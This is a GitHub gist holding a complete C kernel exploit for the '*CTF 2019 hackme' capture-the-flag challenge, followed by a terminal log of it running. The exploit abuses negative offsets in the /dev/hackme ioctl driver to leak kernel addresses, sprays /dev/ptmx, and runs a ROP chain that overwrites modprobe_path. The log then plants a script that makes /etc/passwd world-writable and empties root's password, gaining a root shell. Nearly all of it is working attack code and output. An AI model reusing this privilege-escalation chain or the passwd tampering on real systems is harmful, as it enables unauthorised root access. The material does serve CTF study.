Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created April 30, 2019 21:57
Show Gist options
  • Save hama7230/6c213bb648a5e5f028daec788111382c to your computer and use it in GitHub Desktop.
Save hama7230/6c213bb648a5e5f028daec788111382c to your computer and use it in GitHub Desktop.
*CTF 2019 hackme
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define MAP_PRIVATE 0x02 /* Changes are private. */
#define MAP_ANONYMOUS 0x20 /* Don't use a file. */
#define MAP_POPULATE 0x8000
#define MAP_FIXED 0x10
#define MAP_GROWSDOWN 0x0100
#define O_RDWR 2
#define O_NOCTTY 00000400
#define O_RDONLY 00000000
int fd;
int ptmx_fds[0x200];
long user_stack;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long user_cs;
static void save_state() {
__asm__("mov %0, cs\n"
"mov %1, ss\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
:
:"memory"
);
}
int read(int fd, char* buf, int len) {
__asm__("mov rax, 0");
__asm__("syscall");
}
int write(int fd, char* buf, int len) {
__asm__("mov rax, 1");
__asm__("syscall");
}
int open(char* filename, int flags) {
__asm__("mov rax, 2");
__asm__("syscall");
}
int close(int fd) {
__asm__("mov rax, 3");
__asm__("syscall");
}
void exit(int status) {
__asm__("mov rax, 60");
__asm__("syscall");
}
int ioctl(unsigned int fd, unsigned int cmd, unsigned long* arg) {
__asm__("mov rax, 16");
__asm__("syscall");
}
void *mmap(void *addr, unsigned long length, int prot, int flags, int fd, unsigned long offset) {
__asm__("mov r10, rcx");
__asm__("mov rax, 9");
__asm__("syscall");
}
int strlen(char* string) {
int len = 0;
for (; *(string++) != '\x00'; len++) {}
return len;
}
void puts(char* string) {
int len = strlen(string);
write(1, string, len);
}
void memset(char* a, char b, int len) {
int i;
for (i=0; i<len; i++) {
a[i] = b;
}
}
void end() {
exit(1);
}
void u64tohex(unsigned long tb, char buf[17]) {
const char sym[] = "0123456789abcdef";
const int n = 16;
int i;
for (i=1; i <= n; i++) {
char c = sym[tb % 0x10];
buf[n-i] = c;
tb >>= 4;
}
buf[n] = '\0';
}
void num_dump(unsigned long tb) { // for dump register/int/long
char buf[17];
u64tohex(tb, buf);
buf[sizeof(buf)-1] = '\n';
write(1, buf, sizeof(buf));
}
void open_ptmx(void) {
for (int i=0; i<0x200; i++)
ptmx_fds[i] = open("/dev/ptmx", 0x2);
}
void close_ptmx(void) {
for (int i=0; i<0x100; i++)
close(ptmx_fds[i]);
}
int alloc(unsigned long idx, unsigned long size, char* ptr) {
unsigned long buf[4];
buf[0] = idx;
buf[1] = (unsigned long)ptr ;
buf[2] = size ;
buf[3] = 0xbadface;
return ioctl(fd, 0x30000, buf);
}
int delete(unsigned long idx) {
unsigned long buf[4];
buf[0] = idx;
buf[1] = 0xdeadbeef ;
buf[2] = 0xcafebabe ;
buf[3] = 0xbadface;
return ioctl(fd, 0x30001, buf);
}
int write_note(unsigned long idx, char* ptr, unsigned long size, long offset) {
unsigned long buf[4];
buf[0] = idx;
buf[1] = (unsigned long) ptr;
buf[2] = size;
buf[3] = offset;
return ioctl(fd, 0x30002, buf);
}
int read_note(unsigned long idx, char* ptr, unsigned long size, long offset) {
unsigned long buf[4];
buf[0] = idx;
buf[1] = (unsigned long) ptr;
buf[2] = size;
buf[3] = offset;
return ioctl(fd, 0x30003, buf);
}
void _start(void) {
int hoge;
user_stack = &hoge;
save_state();
fd = open("/dev/hackme", O_RDONLY);
if (fd < 0) {
puts("open error");
exit(1);
}
unsigned long kernel_base;
unsigned long kernel_heap;
unsigned long tmp[0x400/8];
alloc(0, 0x400, tmp);
alloc(1, 0x400, tmp);
delete(0);
read_note(1, tmp, 0x400, -0x400);
kernel_heap = tmp[0] - 0x400;
puts("kernel_heap = ");
num_dump(kernel_heap);
puts("trying address leak");
int leaked = 0;
while (leaked == 0) {
open_ptmx();
read_note(1, tmp, 0x400, -0x400);
for(int i=0; i<0x400/8; i++) {
if ((tmp[i] & 0xfff) == 0xc60 ) {
puts("1\n");
kernel_base = tmp[i] - 0x625c60;
leaked = 1;
}
if ((tmp[i] & 0xfff) == 0xd80 ) { // 0xffffffff81625d80
puts("2\n");
kernel_base = tmp[i] - 0x625d80;
leaked = 1;
}
}
if (leaked == 0)
close_ptmx();
}
puts("kernel_base = ");
num_dump(kernel_base);
unsigned long g[0x400/8];
memset(g, 'a', 0x400);
g[0x4]= kernel_base + 0xcf52a;
write_note(1, g, 0x400, 0);
// 0xffffffff8101b5a1: pop rax ; ret ; (5 found)
// 0xffffffff8110d120: pop rbx ; ret ; (2 found)
// 0xffffffff810a8745: mov qword [rbx], rax ; pop rbx ; pop rbp ; ret ; (4 found)
// ffffffff8183f960 D modprobe_path
unsigned long pop_rax = kernel_base + 0x1b5a1;
unsigned long pop_rbx = kernel_base + 0x10d120;
unsigned long mov_rbx_rax_pop2 = kernel_base + 0xa8745;
tmp[1]= kernel_base + 0x17d20f;
tmp[3] = kernel_heap;
tmp[0x300/8+4]= pop_rbx;
tmp[0x300/8+5]= kernel_base + 0x83f960;
tmp[0x300/8+6]= pop_rax;
tmp[0x300/8+7]= 0x77702f656d6f682f;
tmp[0x300/8+8]= mov_rbx_rax_pop2;
tmp[0x300/8+9]= 0xdeadbeef;
tmp[0x300/8+10]= 0xdeadbeef;
tmp[0x300/8+11]= pop_rbx;
tmp[0x300/8+12]= kernel_base + 0x83f960 + 8;
tmp[0x300/8+13]= pop_rax;
tmp[0x300/8+14]= 0x612f6e;
tmp[0x300/8+15]= mov_rbx_rax_pop2;
tmp[0x300/8+16]= 0xdeadbeef;
tmp[0x300/8+17]= 0xdeadbeef;
tmp[0x300/8+18]= kernel_base + 0x200c2e;
tmp[0x300/8+19]= 0;
tmp[0x300/8+20]= 0;
tmp[0x300/8+21]= kernel_base + 0x19514; // iretq
tmp[0x300/8+22]= &end;
tmp[0x300/8+23]= user_cs;
tmp[0x300/8+24]= user_rflags;
tmp[0x300/8+25]= user_stack;
tmp[0x300/8+26]= user_ss;
write_note(1, tmp, 0x400, -0x400);
close_ptmx();
exit(0);
}
~ $ ./exp
kernel_heap = ffffa1f38e32b800
trying address leak2
kernel_base = ffffffff95400000
~ $ cat /proc/sys/kernel/modprobe
/home/pwn/a
~ $ echo -ne '\xff\xff\xff\xff' > /home/pwn/hoge && chmod +x /home/pwn/hoge
~ $ echo -ne "#!/bin/sh\n/bin/chmod -R 4777 /etc/passwd /bin/busybox\necho 'root
::0:0:root:/root:/bin/sh' > /etc/passwd\n" > /home/pwn/a && chmod +x /home/pwn/a
~ $ ls -la
total 24
drwxrwxr-x 2 pwn 1000 0 Apr 30 21:56 .
drwxrwxr-x 3 root 0 0 Feb 28 03:34 ..
-rwxr-xr-x 1 pwn 1000 104 Apr 30 21:56 a
-rwxr-xr-x 1 pwn 1000 5024 Apr 30 21:55 exp
-rw-rw-r-- 1 pwn 1000 4904 Feb 28 10:23 hackme.ko
-rwxr-xr-x 1 pwn 1000 4 Apr 30 21:56 hoge
~ $ cat a
#!/bin/sh
/bin/chmod -R 4777 /etc/passwd /bin/busybox
echo 'root::0:0:root:/root:/bin/sh' > /etc/passwd
~ $ ./hoge
./hoge: line 1: ����: not found
/home/pwn $ su root
/home/pwn # id
uid=0(root) gid=0 groups=0
/home/pwn # cat /flag
*CTF{userf4ult_fd_m4kes_d0uble_f3tch_perfect}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment